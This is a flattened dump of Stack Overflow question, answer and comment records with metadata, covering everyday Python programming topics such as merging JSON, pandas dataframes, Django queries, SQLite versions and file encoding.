has comment: http://stackoverflow.com/comment/80900887
has title: Merge multiple JSON into single one (Python)
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/80900774
tagged with: python
score: -1
tagged with: merge
linked to: http://stackoverflow.com/q/46975135
has comment: http://stackoverflow.com/comment/80901121
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46977368
downvote count: 2
linked to: http://stackoverflow.com/q/38987
answer count: 3
has body: I am searching for a way to merge multiple JSONs into a single one. My output is in this format: [{"Nome bollettino": "Bollettino 1"}, {"Causale": "1"}, {"Numero": "1"}] [{"Nome bollettino": "Bollettino 2"}, {"Causale": "2"}, {"Numero": "2"}] [{"Nome bollettino": "Bollettino 3"}, {"Causale": "3"}, {"Numero": "3"}] [{"Nome bollettino": "Bollettino 4"}, {"Causale": "4"}, {"Numero": "4"}] [{"Nome bollettino": "Bollettino 5"}, {"Causale": "5"}, {"Numero": "5"}] [{"Nome bollettino": "Bollettino 6"}, {"Causale": "6"}, {"Numero": "6"}] [{"Nome bollettino": "Bollettino 7"}, {"Causale": "7"}, {"Numero": "7"}] [{"Nome bollettino": "Bollettino 8"}, {"Causale": "8"}, {"Numero": "8"}] [{"Nome bollettino": "Bollettino 9"}, {"Causale": "9"}, {"Numero": "9"}] [{"Nome bollettino": "Bollettino 10"}, {"Causale": "10"}, {"Numero": "10"}] Every single line is a valid JSON. I a looking for a way to do it in Python, like this site do. Here you can find the code I am using to generate JSON data. I have tried to use jsonmerge and json-merger but it's not so effective. The site above do the work perfect but I need to do it in Python. Particularly, with jsonmerge using the syntax from the documentation, the output is only the first two values... result = merge(bollettini, causale, numero) print(result) {'Nome bollettino': 'Bollettino 1', 'Causale': '1'} {'Nome bollettino': 'Bollettino 2', 'Causale': '2'} {'Nome bollettino': 'Bollettino 3', 'Causale': '3'} etc... ...which are not even JSON's. How to merge them ?
has comment: http://stackoverflow.com/comment/80901058
upvote count: 1
has answer: http://stackoverflow.com/a/46977384
has comment: http://stackoverflow.com/comment/80900819
has comment: http://stackoverflow.com/comment/80900942
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80902196
has comment: http://stackoverflow.com/comment/80900793
has comment: http://stackoverflow.com/comment/80901315
has answer: http://stackoverflow.com/a/46977322
has comment: http://stackoverflow.com/comment/80900857
possible better answer: http://stackoverflow.com/a/46977322
accepted answer: http://stackoverflow.com/a/46977384

http://stackoverflow.com/a/47029542
has body: Row values are supported since SQLite 3.15.0. The SQLite library in your Python is older (Check sqlite_version in the sqlite3 module).
upvote count: 1
has comment: http://stackoverflow.com/comment/81015973
accepted answer of: http://stackoverflow.com/q/47025470
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81012618
has comment: http://stackoverflow.com/comment/81010845
answers question: http://stackoverflow.com/q/47025470
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/81011341
type: Answer
has comment: http://stackoverflow.com/comment/81013562
has comment: http://stackoverflow.com/comment/81013203
has comment: http://stackoverflow.com/comment/81010915

http://stackoverflow.com/comment/81047418
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47045220
score: 2
has text: How is that a nested for loop?

http://stackoverflow.com/q/46979414
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
score: 1
answer count: 1
downvote count: 0
has body: I have a log of when users log in and out. I would like to create a log that shows if a particular user is online in a particular fifteen minute window. pandas has different datetime indexing options (date_range, period_range), but I was using something like pd.date_range(start, stop, freq), but I don't know where to do from there. Here's the data: user start stop Alice 2017-10-02 08:59:40-04:00 2017-10-02 09:25:49-04:00 Joe 2017-10-02 08:59:45-04:00 2017-10-02 10:45:11-04:00 Bob 2017-10-02 09:16:06-04:00 2017-10-02 10:05:53-04:00 Here's what I need (0 is offline, 1 is online): period Alice Joe Bob 2017-10-02 09:00 1 1 0 2017-10-02 09:15 1 1 1 2017-10-02 09:30 0 1 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46979684
has answer: http://stackoverflow.com/a/46979684
tagged with: datetime
upvote count: 1
tagged with: python
has title: pandas online logging with resample/timedelta

http://stackoverflow.com/q/46919899
has comment: http://stackoverflow.com/comment/80788009
tagged with: debugging
has comment: http://stackoverflow.com/comment/80787554
has comment: http://stackoverflow.com/comment/80788056
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80787876
has comment: http://stackoverflow.com/comment/80788342
has comment: http://stackoverflow.com/comment/80787903
tagged with: python
has comment: http://stackoverflow.com/comment/80787463
has comment: http://stackoverflow.com/comment/80787673
has title: Inconsistent indentation
has comment: http://stackoverflow.com/comment/80788144
linked to: http://stackoverflow.com/q/13691790
has comment: http://stackoverflow.com/comment/80787896
has comment: http://stackoverflow.com/comment/80788044
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80787921
score: 0
has comment: http://stackoverflow.com/comment/80787444
has comment: http://stackoverflow.com/comment/80787884
upvote count: 1
has comment: http://stackoverflow.com/comment/80787852
has comment: http://stackoverflow.com/comment/80787384
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80788359
has answer: http://stackoverflow.com/a/46920159
has body: So I've been making this console text "game" and it seems there's an error that I can't fix. It looks something like this: def left_room3(): while True: i = 0; while i &amp;lt len(weapons): print "One of your weapons are: " + weapons[i] i = i + 1 yee = raw_input("You have encountered a zombie! What weapon do you use?\n") if yee == "sword": zombie.health -= sword.damage zombie.durability -= 1 print "The zombie has taken " + str(sword.damage) + " damage." me.health -= zombie.damage print "You have taken " + str(zombie.damage) + " damage." elif yee == "gun": zombie.health -= gun.damage print "The zombie has taken " + str(gun.damage) + " damage." me.health - zombie.damage print "You have taken " + str(zombie.damage) + " damage." gun.durability -= 1 else: print "That is not an option. Please try again." if zombie.health &amp;lt= 0: print "You won against the zombie!" print "Your save code: 08927672. Enter this at the start to come back to this point." room4() break elif me.health &amp;lt= 0: print "You died!" exit(0) So it seems to be giving me this error: Error: Inconsistent indentation detected! 1) Your indentation is outright incorrect (easy to fix) OR 2) Your indentation mixes tabs and spaces. I use IDLE, which gives slightly clearer error information. It highlights this line of code: i = 0; But I don't know if that's actually the code causing the problem... (I've seen cases where the IDE/compiler highlights one piece of code, but it's a different piece that's causing the problem) I also have other blocks of code almost exactly like this, but IDLE doesn't highlight them (maybe because it checks that block first? I don't know, but it sounds pretty wrong to me that IDLE would check from bottom to top (because code runs top to bottom), but it could be possible.)
has comment: http://stackoverflow.com/comment/80787538
has comment: http://stackoverflow.com/comment/80787784
favorite count: 0
type: Question

http://stackoverflow.com/comment/80979451
type: Comment
type: QuestionComment
has text: then it's not installed. talk to your supervisor.
score: 0
comment on: http://stackoverflow.com/q/47016416

http://stackoverflow.com/a/47040703
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81028665
accepted answer of: http://stackoverflow.com/q/47040342
type: Answer
has body: I'm expecting: c.execute(''' UPDATE users SET favourite_artist = ?, favourite_genre = ? WHERE username = ? AND password = ?''', (self.new_fav_artist_var, self.new_fav_genre_var, self.username_input, self.password_input))
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47040342

http://stackoverflow.com/a/47006629
score: 3
has body: Do you really need exact sampling? Because with acceptance/rejection it should work just fine. I assume big orange circle is located at (0,0) import math import random def sample_2_circles(xr, yr, r, R): """ R - big radius r, xr, yr - small radius and its position """ x = xr y = yr cnd = True while cnd: # sample uniformly in whole orange circle phi = 2.0 * math.pi * random.random() rad = R * math.sqrt(random.random()) x = rad * math.cos(phi) y = rad * math.sin(phi) # check condition - if True we continue in the loop with sampling cnd = ( (x-xr)**2 + (y-yr)**2 &lt; r*r ) return (x,y)
type: Answer
answers question: http://stackoverflow.com/q/47005884
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80986603
has comment: http://stackoverflow.com/comment/80974396

http://stackoverflow.com/comment/80836730
type: Comment
comment on: http://stackoverflow.com/a/46944649
score: 0
type: AnswerComment
has text: @ShadowRanger Good point! thank you for the feedback. I'll let it like this for readability, but you're totally right performance wise.

http://stackoverflow.com/comment/80812419
has text: Hm... the question does not specify Python 2, but it is worth including a variant for that as well.
comment on: http://stackoverflow.com/a/46932703
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47019400
tagged with: python
has comment: http://stackoverflow.com/comment/80985693
has comment: http://stackoverflow.com/comment/80985596
tagged with: beautifulsoup
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80985574
has title: Finding all page IDs for URL in XML with Beautiful Soup
has comment: http://stackoverflow.com/comment/80987613
has comment: http://stackoverflow.com/comment/80987735
linked to: http://stackoverflow.com/q/47078480
type: Question
accepted answer: http://stackoverflow.com/a/47038332
has comment: http://stackoverflow.com/comment/80985513
has body: Below is the structure of an XML backup I am working with. I've written some code that will get all URLs from the XML - is there a way I can then, for each URL, traverse back up the XML and find the page ID (second tag in the XML structure below) which it appears on? LINK Update: <first_name></first_name> <last_name></last_name> <map_id></map_id>
has comment: http://stackoverflow.com/comment/81008511
has answer: http://stackoverflow.com/a/47038332
answer count: 1

http://stackoverflow.com/comment/81021448
comment on: http://stackoverflow.com/q/47016416
type: Comment
type: QuestionComment
has text: A workaround is to run `alias nohup='nohup '`, since the trailing blank will allow the shell to treat anything following nohup as a potential alias. But you're better off adding a `python35` symlink in a directory that's in your $PATH, so that any program that calls it gets the right thing.
score: 0

http://stackoverflow.com/comment/81045863
type: Comment
type: QuestionComment
has text: @GrahamDumpleton Worked like a charm once I cleaned out the references to the conda install (just like in the linked question). Thanks!
score: 0
comment on: http://stackoverflow.com/q/47027829

http://stackoverflow.com/q/46963114
tagged with: python
has comment: http://stackoverflow.com/comment/80874549
score: -2
type: AnsweredQuestion
has title: Python- Create a background timer process ,not involving tkinter's "after"
linked to: http://stackoverflow.com/q/2223157
upvote count: 0
has answer: http://stackoverflow.com/a/46963501
downvote count: 2
tagged with: multithreading
has comment: http://stackoverflow.com/comment/80876754
answer count: 1
has comment: http://stackoverflow.com/comment/80874206
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/2223157
has body: I'm trying to make a generic countdown timer. If was GUI based, using tk.after would do the magic, but it is not. During given time interval, should it returns 1 when countdown in progress and 0 when it is off. This counter will run in background inside other classes (that may be GUI class). for example, let TimeOut be that countdown timer: a = TimeOut(days=0,seconds=100) # a runs in background for 100 seconds. a.status() # during countdown time - `status` returns `1`. Is there an elegant way to create such class?
accepted answer: http://stackoverflow.com/a/46963501
has comment: http://stackoverflow.com/comment/80874329
has comment: http://stackoverflow.com/comment/80874492

http://stackoverflow.com/q/46952249
has title: Assign values in new column on condition pandas
possible better answer: http://stackoverflow.com/a/46952453
type: AnsweredQuestion
answer count: 2
has body: i have a dataframe: id name value 1 asd 0.5 2 fgg 0.8 3 hfd 1.5 4 erw 0.5 i have to create a new column accept such that, if the value is greater than 1.0, make outlier as 1, else 0. id name value accept 1 asd 0.5 0 2 fgg 0.8 0 3 hfd 1.5 1 4 erw 0.5 0 i can do it using iterrows and use .loc. for index,row in df.iterrows(): if row['value']&gt;1: df.loc[df.index==row.index,'accept'] = 1 else: df.loc[df.index==row.index,'accept'] = 0 Is there a simpler way of doing this without iterating?
tagged with: pandas
score: 1
accepted answer: http://stackoverflow.com/a/46952285
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46952453
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/46952285

svd
type: Tag
tags question: http://stackoverflow.com/q/46974092
tag name: svd

http://stackoverflow.com/a/57475377
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/101424045
has comment: http://stackoverflow.com/comment/101451337
has body: There is a python package for multivariate Gaussian copula https://pypi.org/project/copula/ The corresponding Github repository : github install through pip: pip install copula usage: from copula import pyCopula data = [[2,1,2,4],[3,1,7,4],[2,9,1,0],[3,6,1,6] ] cop = pyCopula.Copula(data) samples = cop.gendata(3) print(samples) [2.697128268374179, 6.29726013955287, 2.983951810593502, 2.1149729235834496], [3.0, 1.0, 6.831369733333171, 4.631091408593663], [2.147377031275032, 6.75098812552581, 1.9789800708813163, 1.1200891337867478]]
has comment: http://stackoverflow.com/comment/101449668
answers question: http://stackoverflow.com/q/47021302
type: Answer
upvote count: 4

http://stackoverflow.com/q/46913902
score: 0
has answer: http://stackoverflow.com/a/46913972
tagged with: django-models
tagged with: django-queryset
possible better answer: http://stackoverflow.com/a/46913972
type: AnsweredQuestion
answer count: 2
has body: My models.py is something like this: class Department(models.Model): name = models.CharField(max_length=255) class Category(models.Model): name = models.CharField(max_length=255) department = models.ForeignKey(Department, related_name="categories") class Product(models.Model): name = models.CharField(max_length=255) category = models.ForeignKey(Category, related_name="products") As you can see, the product model does not have a direct connection to the department, it only has one through the category model. However, in my department details for &lt; Department X >, I want to get all the products that have a category that has the department &lt; Department X >. Is there any way to do it with one query? I don't want to use a for loop for this. Thanks!
tagged with: django
tagged with: python
has title: How to get objects using a ForeignKey field through another ForeignKey in Django?
accepted answer: http://stackoverflow.com/a/46913950
type: Question
has answer: http://stackoverflow.com/a/46913950

http://stackoverflow.com/comment/81086246
has text: line_visible() is fine. When I use widget, callback() can work. CHG button can cahnge the data. But NOT button can change the visible attribution.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47062542

http://stackoverflow.com/q/46927251
has comment: http://stackoverflow.com/comment/80995265
type: Question
has answer: http://stackoverflow.com/a/47073228
has body: I am trying to acomplish something that seems to be very simple using Pandas, but getting stuck. I want to merge multiple spreadsheets (that have multiple sheets) to one single MasterSpreadSheet with all the sheets. input example: spreadsheet1 -&gt; sheetname_a, sheetname_b, sheetname_c, sheetname_d spreadsheet2 -&gt; sheetname_a, sheetname_b, sheetname_c, sheetname_d spreadsheet3 ...... output desired: one single file with the data from all spreadsheets separated by the especific sheetname MasterSpreadSheet -&gt; sheetname_a, sheetname_b, sheetname_c, sheetname_d Here is my code that generates that single MasterSpreadSheet, but it overrides the previous spreadsheet data, leaving the MasterFile with only data from the last spreadsheet: with pd.ExcelWriter(outputfolder + '/' + country + '-MasterSheet.xlsx') as writer: for spreadsheet in glob.glob(os.path.join(outputfolder, '*-Spreadsheet.xlsx')): sheets = pd.ExcelFile(spreadsheet).sheet_names for sheet in sheets: df = pd.DataFrame() sheetname = sheet.split('-')[-1] data = pd.read_excel(spreadsheet, sheet) data.index = [basename(spreadsheet)] * len(data) df = df.append(data) df.to_excel(writer, sheet_name = sheetname) writer.save() writer.close() Suggestions ? Thank you !
type: UnansweredQuestion
answer count: 1
has title: Python Pandas - merge multiple spreadsheets that contains multiple sheets to a single MasterSpreadsheet having all the sheets
tagged with: excel
score: 0
tagged with: pandas
tagged with: python

http://stackoverflow.com/comment/117784733
type: Comment
type: AnswerComment
has text: Are there any security risks which one should be aware of, when using such an input form? I read a lot of comments about the "danger" of getting exploited, but I cannot see how a simple input like this could be a problem. As I understand, the input text is just saved in a variable and then called within the python script.
comment on: http://stackoverflow.com/a/47049452
score: 0

http://stackoverflow.com/q/46914250
has comment: http://stackoverflow.com/comment/80776655
score: 0
has title: Importing function from file inside loop, and updating the function on every iteration
answer count: 0
has comment: http://stackoverflow.com/comment/80776226
has body: The problem I am trying to solve is the following: I have a list of maps, and each map has on particular value which is a string representing python code. Inside this python code a list is initialized which I need to extract for every entry in the list of maps. I tried to solve the issue by looping over the list and extracting the string containing the python code on each iteration. This code I then edited slightly on each time to remove irrelevant parts, and to make it a function returning the list I need. Once the code is edited it is written to a temporary python file which I use to import the function returning the list I need. Now the issue I am having is the following: After importing the function from the temporary code for the first time the function does not seem to update itself upon calling "import" again. The essence of my code can be written as follows: for map in list_of_maps: temp_file = open("temp.py", "w") code = map['key'] #remove unneeded parts from code string ... temp_file.write("def getList():") for line in code.splitlines(): temp_file.write("\t" + line) temp_file.close() from temp import getList print getList() So it seems that once I call "from temp import getList" for the first time this function becomes fixed and is no longer updated on the next iterations. Does anyone know a way to make sure the function will be updated, i.e overwrite the previous definition? Thanks for any help!
tagged with: import
has comment: http://stackoverflow.com/comment/80776835
type: Question
has comment: http://stackoverflow.com/comment/80776089
has comment: http://stackoverflow.com/comment/80776127
tagged with: function
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80775984
has comment: http://stackoverflow.com/comment/80776711
tagged with: python
has comment: http://stackoverflow.com/comment/80776765

http://stackoverflow.com/q/46917025
linked to: http://stackoverflow.com/q/11816147
tagged with: python
downvote count: 1
duplicate of: http://stackoverflow.com/q/11816147
has answer: http://stackoverflow.com/a/46917144
type: AnsweredQuestion
answer count: 3
score: 1
possible better answer: http://stackoverflow.com/a/46917144
accepted answer: http://stackoverflow.com/a/46917203
has comment: http://stackoverflow.com/comment/80790015
has title: Can I automatically format files to use spaces instead of tabs in PyCharm?
favorite count: 0
has answer: http://stackoverflow.com/a/46917203
type: Question
tagged with: pycharm
has body: If I open an existing project into PyCharm that used tabs instead of spaces can I format all of these files within PyCharm or do I need to manually update all of them?
upvote count: 2
has answer: http://stackoverflow.com/a/46917198

http://stackoverflow.com/q/46983732
answer count: 5
has answer: http://stackoverflow.com/a/46983898
accepted answer: http://stackoverflow.com/a/46983770
has comment: http://stackoverflow.com/comment/80914997
has comment: http://stackoverflow.com/comment/80914947
has answer: http://stackoverflow.com/a/46983770
tagged with: python
has title: My if variable is not triggering
possible better answer: http://stackoverflow.com/a/46983771
has body: I am trying to make a quiz using python which reads questions from a text file. I have a variable called ans which is supposed to be the answer which it reads from the file I print the variable and it says what its supposed to say but if I actually type it in it will say its wrong. This is my python code: right = 0 wrong = 0 num = 0 quest = 0 history = open("history.txt", "r") lines = history.readlines() while quest != 3: quest = quest+1 num = num+1 print("Question", quest) question = lines[num] print(question) num = num + 1 ans = lines[num] print(ans) answer = input() answer = answer.lower() if answer == ans: print("correct") right = right+1 else: print("Wrong") wrong = wrong+0 print("done") And my history.txt file is formatted like this Blank Line Blank Line What is the capital of England? london What is 1+1? 2 Thank you.
type: Question
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/46983810
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46983771
has answer: http://stackoverflow.com/a/46983835

http://stackoverflow.com/comment/80863353
comment on: http://stackoverflow.com/q/46957911
has text: Questions should normally include some of the example code you are working with. Use 4 spaces to make the code appear as code. On to your question, you have "new line characters" that are making line 2 appear on the next line. In unix, this is usually "\n" and in windows it can be "\r\n". By printing with "repr" this will display the hidden characters. `print(repr(file.read()))` Edit your answer with the output from that and you're likely to get a better response.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/47024635
has body: I am extracting data from an html file and outputting it to another html file template using .replace. I wrote it so that on double clicking my script, the page opens up in a browser, ready to be printed. Everything works fine until I ran into an extracted string that had a special character in it. On double click, nothing would happen (the web browser would not open). However, it seems to work when I run it straight from IDLE, with one issue: The special character comes up as a weird combination of characters. I haven't tested this out with other special characters, but my problem right now is happening with Nyström, which comes up as NystrÃ¶m in my outputted file. I figure this has something to do with encoding/decoding in 'utf-8', however I do not know enough about the subject to solve this issue myself post research. When I open the read and write files, I make sure they have encoding='utf-8' as the third argument. Finally, when I print the string i'm having trouble with out onto IDLE, it comes out fine. The issue just seems to pop up when I write it to my file. Below are my file read and write calls if that helps path = os.path.dirname(os.path.realpath(__file__)) htmlFile = open(path + input_filename, "r", encoding="utf-8") htmlString = htmlFile.read() infile = open(template_path, 'r', encoding='utf-8') contents = infile.read() After this I .replace certain parts of content with my extracted strings put into a dictionary named data. eg: (please ignore inconsistent naming conventions) data = dict() data['name_email'] = email contents = contents.replace('_name_email', data['name_email']) then: outfile = open(output_filename, 'w', encoding='utf-8') outfile.write(contents) I am running this on python 3.6
score: 0
has comment: http://stackoverflow.com/comment/80997187
answer count: 0
has comment: http://stackoverflow.com/comment/80997949
tagged with: string
has comment: http://stackoverflow.com/comment/80997769
type: Question
has comment: http://stackoverflow.com/comment/80997282
has comment: http://stackoverflow.com/comment/81075705
has title: Python not printing out special characters (extracted from an html file) when I write to another html file
has comment: http://stackoverflow.com/comment/80997113
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: utf-8
has comment: http://stackoverflow.com/comment/81075046

http://stackoverflow.com/q/46915016
tagged with: docstring
has answer: http://stackoverflow.com/a/46915305
has comment: http://stackoverflow.com/comment/80777262
has comment: http://stackoverflow.com/comment/80784936
type: Question
type: UnansweredQuestion
tagged with: python
has title: docstring(myClass.aProperty) does not return the docstring for aproperty
score: 0
has body: Below is a sketch of a class I want to document. My first wish is to get short help from within Jupyter. These help calls work as I expected: help(thermo): showing everything (class, methods and properties) help(thermo.select): showing the select help help(thermo.table): showing the table help Unfortunately, this one doesn't work as I would expect: help(thermo.take) does not return the help from the take property. Instead, this statement returns all the attributes from the take object. (2000+) Could you clarify what happens, and suggest me how to get help(thermo.take) working as I would like? Thanks class substances(list, metaclass=substancesMeta): ''' A thermodynamic database of substances ''' @property def take(self): ''' A simple way to take a substance. ''' def select(self, ... ): ''' Select a subset of the database. ''' def table(self, **kwargs): ''' Create a pandas dataframe from substances object '''
has comment: http://stackoverflow.com/comment/80777373
answer count: 1

http://stackoverflow.com/comment/80812335
comment on: http://stackoverflow.com/a/46932743
type: AnswerComment
has text: Actually error says that his max_length may not be an integer at all - so regexp should be more like max_length=.*
score: 1
type: Comment

http://stackoverflow.com/a/47061417
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47061082
has comment: http://stackoverflow.com/comment/130309105
has body: This can be done by using .loc[] from itertools import product import pandas as pd df = pd.DataFrame([[1,2008,10,20],[1,2010,15,25],[2,2011,2,4],[2,2012,3,6]],columns=['id','year','X','Y']) df = df.set_index(['id','year']) # All combinations of index #idx = list(product(df.index.levels[0], df.index.levels[1])) idx = list(product(range(1,3), range(2008,2013))) df.loc[idx]
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47061082

http://stackoverflow.com/a/46945963
downvote count: 0
upvote count: 1
has body: Actually, in my example it was actually the unittest loader that was failing, making me think it was a fault in doctest. However, to answer the question in the title, you can recursively run doctests like this: import doctest import pkgutil import my_module def load_tests(loader, tests, pattern): for importer, name, ispkg in pkgutil.walk_packages(my_module.__path__, my_module.__name__ + '.'): tests.addTests(doctest.DocTestSuite(name)) return tests
answers question: http://stackoverflow.com/q/46945885
type: Answer
score: 1

http://stackoverflow.com/q/46960665
answer count: 0
tagged with: opengl
has comment: http://stackoverflow.com/comment/81117214
has comment: http://stackoverflow.com/comment/80967920
type: Question
has comment: http://stackoverflow.com/comment/80907584
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/99308231
tagged with: pyglet
has title: pyglet - render sprites in order, depending on y value, using batches
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/99351114
tagged with: python
has body: I am coding a game (2D) using pyglet, and have encountered a problem - I need to draw sprites to the screen in order of their y-value, using a single batch. This is to achieve the perception of depth, e.g. objects with a higher y-value (meaning they are higher up the screen) should be drawn first; drawing top down; drawing highest to lowest. I have a dictionary of classes (in no particular order), and a list of the same classes, sorted in order of each class's y-value. This list is generated every time the screen is drawn. Each class contains the object's sprite, coordinates etc. as attributes. All of the sprites are on the same batch. I have looked at options such as OrderedGroups, yet this appears to not be the best choice - I may need an undefined number of groups (they would need to be generated on the fly?). I cannot find many relevant examples on how this would be implemented in the way I require. Example of what I want to achieve, but using a potentially infinite number of layers:
score: 0
has comment: http://stackoverflow.com/comment/80936936

http://stackoverflow.com/q/47013083
has body: I am trying to establish a Web-Socket connection to a server and enter into receive mode.Once the client starts receiving the data, it immediately closes the connection with below exception webSoc_Received = await websocket.recv() File "/root/envname/lib/python3.6/site-packages/websockets/protocol.py", line 319, in recv raise ConnectionClosed(self.close_code, self.close_reason) websockets.exceptions.ConnectionClosed: WebSocket connection is closed: code = 1007, no reason. Client-side Code Snippet : import asyncio import websockets async def connect_ws(): print("websockets.client module defines a simple WebSocket client API::::::") async with websockets.client.connect(full_url,extra_headers=headers_conn1) as websocket: print ("starting") webSoc_Received = await websocket.recv() print ("Ending") Decode_data = zlib.decompress(webSoc_Received) print(Decode_data) asyncio.get_event_loop().run_until_complete(connect_ws()) Any thoughts on this?
answer count: 2
score: 1
downvote count: 0
tagged with: websocket
upvote count: 1
favorite count: 0
type: Question
has title: Web Sockets client throwing an exception once it starts receiving data
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47013285
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47069797

http://stackoverflow.com/comment/80881408
has text: The errors thrown up by these are caught and handled. It's just that the module writes it's own error logs.
comment on: http://stackoverflow.com/q/46950799
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/46921888
has answer: http://stackoverflow.com/a/46921993
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46921995
has title: Conditionally change column dtype based on column subtext
has body: I have the following data: df A_Key B_ID C_Key D_NA 123 22 343.0 23 121 23 45.4 52 df.dtypes leads to the following: df.dtypes A_Key int64 B_ID int64 C_Key float D_NA int64 How can I conditionally change the the dtypes for any columns with "Key" or "ID" to an object? I have over a hundred columns in my actual dataframe, so I hope to have a lookup method. My current method uses the following code, but clearly it isn't pythonic and requires individual hardcoding: for col in ['A_Key', 'B_ID', 'C_Key']: df[col] = df[col].astype('object') My df.dtypes output should then show as follows: df.dtypes A_Key object B_ID object C_Key object D_NA int64 Thank you ahead of time for your help.
possible better answer: http://stackoverflow.com/a/46921978
tagged with: python
has answer: http://stackoverflow.com/a/46921978
type: AnsweredQuestion
answer count: 3
tagged with: pandas
score: 2
upvote count: 3
accepted answer: http://stackoverflow.com/a/46921993

http://stackoverflow.com/a/46950879
has body: I think this question is what you're looking for. You'll want something like while keepText: text = [] text.append(raw_input('Input something from the keyboard: ')) In your question the indenting looks problematic though, and your while loop will never end.
has comment: http://stackoverflow.com/comment/80880630
has comment: http://stackoverflow.com/comment/80896332
has comment: http://stackoverflow.com/comment/80876161
score: 0
has comment: http://stackoverflow.com/comment/80871219
answers question: http://stackoverflow.com/q/46949647
type: Answer

http://stackoverflow.com/a/47016621
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47016504
has body: Because you have nested for loops, the outer loop is run as many times as there are elements of spot and the inner loop is run as many times as the product of the lengths. Instead you should use zip: for s, fs in zip(spot, forwardSwap): forwardOutright.append(s + fs) Or you can use a list comprehension: forwardOutright = [s + fs for s, fs in zip(spot, forwardSwap)]
type: Answer

http://stackoverflow.com/comment/80913889
has text: thank you very much mister. much appreciation.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46983207

http://stackoverflow.com/a/46940488
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46940424
score: 3
answers question: http://stackoverflow.com/q/46940424
type: Answer
has comment: http://stackoverflow.com/comment/80828433
has body: Likely you have forgot to import csv module: https://docs.python.org/2/tutorial/modules.html If you quit from the Python interpreter and enter it again, the definitions you have made (functions and variables) are lost. Therefore, if you want to write a somewhat longer program, you are better off using a text editor to prepare the input for the interpreter and running it with that file as input instead. This is known as creating a script. As your program gets longer, you may want to split it into several files for easier maintenance. You may also want to use a handy function that you’ve written in several programs without copying its definition into each program. To support this, Python has a way to put definitions in a file and use them in a script or in an interactive instance of the interpreter. Such a file is called a module; definitions from a module can be imported into other modules or into the main module (the collection of variables that you have access to in a script executed at the top level and in calculator mode). Add at the beginning of your file: import csv
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/80997706
comment on: http://stackoverflow.com/q/47025211
score: 0
has text: `hidden_word = ''.join(c if c in guesses else '-' for c in word)`.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80831981
has text: Surely though, you'd have either a length or a known delimiter? That way you can tell whether the extra data is start of something else or a "break"...
type: QuestionComment
comment on: http://stackoverflow.com/q/46942147
score: 0
type: Comment

http://stackoverflow.com/comment/80809348
score: 0
comment on: http://stackoverflow.com/a/46930790
type: Comment
has text: the indexes are already in `step` - unless `step` contains values for which you want the index in `raw_pkt` in which case simply change the foor loop from `for pkt in [raw_pkt[i] for i in step]` to `for pkt_idx in [raw_pkt.index(i) for i in step]`
type: AnswerComment

http://stackoverflow.com/comment/81043354
type: AnswerComment
has text: change `get_object_or_404(User.objects, username=username)` to `get_object_or_404(User, username=username)`
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47027400

http://stackoverflow.com/comment/81033686
type: QuestionComment
comment on: http://stackoverflow.com/q/47043225
score: 0
has text: Not necessarily (data is being extracted from a really messy PDF)
type: Comment

http://stackoverflow.com/comment/80936876
type: AnswerComment
comment on: http://stackoverflow.com/a/46995157
score: 0
type: Comment
has text: I would like my output to be in unicode string, but without the (') included around my string. The {}.format method will not work for my current task.

http://stackoverflow.com/a/47057453
answers question: http://stackoverflow.com/q/47057347
has comment: http://stackoverflow.com/comment/81063268
has body: I think what you want is, in the second instance, to open the file C:\\dummy2.txt file in append mode rather than write mode (which overwrites any previous output), e.g., use open('C:\\dummy2.txt',"a") rather than open('C:\\dummy2.txt',"w")
score: 0
type: Answer

http://stackoverflow.com/comment/80829145
type: QuestionComment
comment on: http://stackoverflow.com/q/46940171
score: 0
has text: @user7610. You are converting a json string to what is effectively a python module containing a `dict`. Presumably, you want users to be able to import this module as normal python code. So why not just call it "pyth**on**" (as opposed to "js**on**")?
type: Comment

http://stackoverflow.com/q/46992156
score: 1
upvote count: 1
tagged with: http://stackoverflow.com/tag/json
answer count: 1
downvote count: 0
tagged with: python-requests
favorite count: 0
type: Question
